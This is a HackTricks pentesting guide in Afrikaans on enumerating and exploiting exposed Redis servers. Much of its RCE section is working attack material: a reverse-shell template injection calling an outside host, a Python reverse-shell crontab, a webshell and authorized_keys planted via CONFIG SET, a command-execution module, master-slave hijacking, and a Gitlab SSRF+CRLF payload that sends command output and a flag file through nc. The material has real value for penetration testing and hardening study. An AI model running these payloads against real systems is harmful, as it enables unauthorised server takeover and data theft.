hacktricks/network-services-pentesting/6379-pentesting-redis.md

19 KiB
Raw Blame History

6379 - Pentesting Redis

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hack bevat

Hack Nuus in Werklikheid
Bly op hoogte van die vinnige hack-wêreld deur werklikheidsnuus en insigte

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Basiese Inligting

Vanaf die dokumente: Redis is 'n oopbron (BSD-gelisensieerde), in-memory datastruktuurwinkel, gebruik as 'n databasis, cache en boodskapmakelaar).

Standaard gebruik Redis 'n teksgebaseerde protokol, maar onthou dat dit ook ssl/tls kan implementeer. Leer hoe om Redis met ssl/tls hier te hardloop.

Verstekpoort: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Outomatiese Opsomming

Sommige geoutomatiseerde gereedskap wat kan help om inligting van 'n redis-instansie te verkry:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Handmatige Opsomming

Banier

Redis is 'n teks-gebaseerde protokol, jy kan net die bevel in 'n sokket stuur en die teruggekeerde waardes sal leesbaar wees. Onthou ook dat Redis kan hardloop met behulp van ssl/tls (maar dit is baie vreemd).

In 'n gewone Redis instansie kan jy net koppel deur gebruik te maak van nc of jy kan ook redis-cli gebruik:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Die eerste bevel wat jy kan probeer is info. Dit kan uitset met inligting van die Redis-instantie of iets soos die volgende kan teruggegee word:

-NOAUTH Authentication required.

In hierdie laaste geval beteken dit dat jy geldige geloofsbriewe nodig het om toegang tot die Redis-instantie te verkry.

Redis-verifikasie

Standaard kan Redis toegang word sonder geloofsbriewe. Dit kan egter gekonfigureer word om slegs wagwoord, of gebruikersnaam + wagwoord te ondersteun.
Dit is moontlik om 'n wagwoord in te stel in die redis.conf lêer met die parameter requirepass of tydelik totdat die diens herlaai deur daarmee te verbind en die volgende uit te voer: config set requirepass p@ss$12E45.
'n Gebruikersnaam kan ook in die parameter masteruser binne die redis.conf lêer gekonfigureer word.

{% hint style="info" %} Indien slegs 'n wagwoord gekonfigureer is, word die standaard gebruikte gebruikersnaam "default".
Merk ook op dat daar geen manier is om ekstern te vind of Redis gekonfigureer is met slegs wagwoord of gebruikersnaam+wagwoord. {% endhint %}

In gevalle soos hierdie sal jy geldige geloofsbriewe moet vind om met Redis te kan interaksieer, sodat jy kan probeer om dit brute-force.
Indien jy geldige geloofsbriewe vind, moet jy die sessie verifieer nadat jy die verbinding met die volgende bevel tot stand gebring het:

AUTH <username> <password>

Geldige geloofsbriewe sal beantwoord word met: +OK

Geautehtiseerde opstel

Indien die Redis-bediener anonieme verbindinge toelaat of as jy geldige geloofsbriewe verkry het, kan jy die opstelproses vir die diens inisieer deur die volgende opdragte te gebruik:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Ander Redis-opdragte kan hier gevind word en hier.

Merk op dat die Redis-opdragte van 'n instansie hernoem of verwyder kan word in die redis.conf lêer. Byvoorbeeld, hierdie lyn sal die opdrag FLUSHDB verwyder:

rename-command FLUSHDB ""

Meer oor die veilige konfigurasie van 'n Redis-diens hier: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Jy kan ook die Redis-opdragte in werklikheid monitor wat uitgevoer word met die opdrag monitor of kry die top 25 stadigste navrae met slowlog get 25

Vind meer interessante inligting oor meer Redis-opdragte hier: https://lzone.de/cheat-sheet/Redis

Databasis Dumping

Binne Redis is die databasisse nommers wat begin vanaf 0. Jy kan sien of enigiemand dit gebruik in die uitset van die opdrag info binne die "Keyspace" blok:

Of jy kan net al die keyspaces (databasisse) kry met:

INFO keyspace

In daardie voorbeeld word die databasis 0 en 1 gebruik. Databasis 0 bevat 4 sleutels en databasis 1 bevat 1. Standaard sal Redis databasis 0 gebruik. Om byvoorbeeld databasis 1 te dump, moet jy die volgende doen:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

In geval jy die volgende fout kry -WRONGTYPE Operation against a key holding the wrong kind of value terwyl jy GET <KEY> hardloop is dit omdat die sleutel dalk iets anders as 'n string of 'n heelgetal is en 'n spesiale operator benodig om dit te vertoon.

Om die tipe van die sleutel te weet, gebruik die TYPE bevel, voorbeeld hieronder vir lys- en hashsleutels.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Dompel die databasis met npm redis-dump of python redis-utils

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hack-insigte
Gaan aan met inhoud wat die opwinding en uitdagings van hack bekyk

Nuutste Hack-nuus
Bly op hoogte van die snelveranderende hack-wêreld deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin saamwerk met top hackers vandag!

Redis RCE

Interaktiewe Skul

redis-rogue-server kan outomaties 'n interaktiewe skul of 'n omgekeerde skul kry in Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Inligting van hier. Jy moet die pad van die Webwerf vouer weet:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Indien die webshell toegang uitsondering, kan jy die databasis leegmaak na rugsteun en weer probeer, onthou om die databasis te herstel.

Templaat Webshell

Soos in die vorige afdeling kan jy ook 'n paar html templaat lêers oorskryf wat deur 'n templaat-enjin geïnterpreteer gaan word en 'n shell verkry.

Byvoorbeeld, volgens hierdie skryfstuk, kan jy sien dat die aanvaller 'n rev shell ingespuit het in 'n html wat deur die nunjucks templaat-enjin geïnterpreteer is:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Let wel dat veral sjabloon-enjins die sjablone in geheue oppas, sodat selfs as jy dit oorskryf, die nuwe een nie uitgevoer sal word nie. In hierdie gevalle het die ontwikkelaar óf die outomatiese herlaai aktief gelaat, óf jy moet 'n DoS oor die diens uitvoer (en verwag dat dit outomaties weer begin). {% endhint %}

SSH

Voorbeeld van hier

Wees bewus dat die resultaat van config get dir kan verander na ander handmatige uitbuitingsopdragte. Stel voor om dit eerste uit te voer direk na die aanmelding by Redis. In die uitset van config get dir kan jy die tuiste van die redis-gebruiker vind (gewoonlik /var/lib/redis of /home/redis/.ssh), en deur dit te weet, weet jy waar jy die authenticated_users lêer kan skryf om toegang te verkry via ssh met die gebruiker redis. As jy die tuiste van 'n ander geldige gebruiker ken waar jy skryfregte het, kan jy dit ook misbruik:

  1. Skep 'n ssh openbare-privaatsleutelpaar op jou rekenaar: ssh-keygen -t rsa
  2. Skryf die openbare sleutel na 'n lêer: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Importeer die lêer na redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Stoor die openbare sleutel in die authorized_keys lêer op die redis-bediener:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Laastens kan jy ssh na die redis-bediener met die privaatsleutel: ssh -i id_rsa redis@10.85.0.52

Hierdie tegniek is outomaties hier: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Die laaste voorbeeld is vir Ubuntu, vir Centos, moet die bo genoemde bevel wees: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Hierdie metode kan ook gebruik word om bitcoin te verdien: yam

Laai Redis Module

  1. Volg die instruksies vanaf https://github.com/n0b0dyCN/RedisModules-ExecuteCommand jy kan 'n redis module saamstel om arbitrêre bevele uit te voer.
  2. Dan het jy 'n manier nodig om die saamgestelde module te oplaai
  3. Laai die opgelaai module tydens uitvoertyd met MODULE LOAD /path/to/mymodule.so
  4. Lys die gelaai modules om te kontroleer of dit korrek gelaai is: MODULE LIST
  5. Voer bevele uit:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Ontlaai die module wanneer jy wil: MODULE UNLOAD mymodule

LUA sandboks omseil

Hier kan jy sien dat Redis die bevel EVAL gebruik om Lua-kode sandboks uit te voer. In die gekoppelde pos kan jy sien hoe om dit te misbruik deur die dofile-funksie te gebruik, maar blykbaar is dit nie meer moontlik nie. Hoe dan ook, as jy die Lua-sandboks kan omseil, kan jy arbitrêre bevele op die stelsel uitvoer. Ook, van dieselfde pos kan jy sien dat daar enkele opsies is om DoS te veroorsaak.

Sommige CVE's om uit LUA te ontsnap:

Meester-Slaaf Module

Die meester redis alle operasies word outomaties gesinchroniseer na die slaaf redis, wat beteken dat ons die kwesbaarheid redis as 'n slaaf redis kan beskou, wat aan die meester redis gekoppel is wat ons eie beheer word, dan kan ons die bevel na ons eie redis invoer.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF praat met Redis

As jy duidelike teks versoek na Redis kan stuur, kan jy daarmee kommunikeer aangesien Redis lyn vir lyn die versoek sal lees en net met foute op die lyne reageer wat dit nie verstaan nie:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Daarom, as jy 'n SSRF vuln in 'n webwerf vind en jy kan beheer oor 'n paar headers (miskien met 'n CRLF vuln) of POST parameters, sal jy in staat wees om willekeurige bevele na Redis te stuur.

Voorbeeld: Gitlab SSRF + CRLF na Shell

In Gitlab11.4.7 is 'n SSRF-kwesbaarheid en 'n CRLF ontdek. Die SSRF-kwesbaarheid was in die projek invoer van URL-funksionaliteit tydens die skep van 'n nuwe projek en het toegang tot willekeurige IP-adresse in die vorm [0:0:0:0:0:ffff:127.0.0.1] (dit sal 127.0.0.1 toegang gee), en die CRLF vuln is uitgebuit deur net %0D%0A karakters by die URL te voeg.

Daarom was dit moontlik om misbruik te maak van hierdie kwesbaarhede om met die Redis-instantie te kommunikeer wat die rye van gitlab bestuur en om daardie rye te misbruik om kodes uit te voer. Die Redis-rymisbruik-payload is:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

En die URL-kodering versoek misbruik SSRF en CRLF om 'n whoami uit te voer en die uitset terug te stuur via nc is:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Vir 'n rede (soos vir die skrywer van https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ waar hierdie inligting vandaan kom) het die uitbuiting gewerk met die git skema en nie met die http skema nie.

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hacken Insights
Tree in kontak met inhoud wat die opwinding en uitdagings van hacken ondersoek

Real-Time Hack Nuus
Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin saamwerk met top hackers vandag!

Leer AWS hack van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: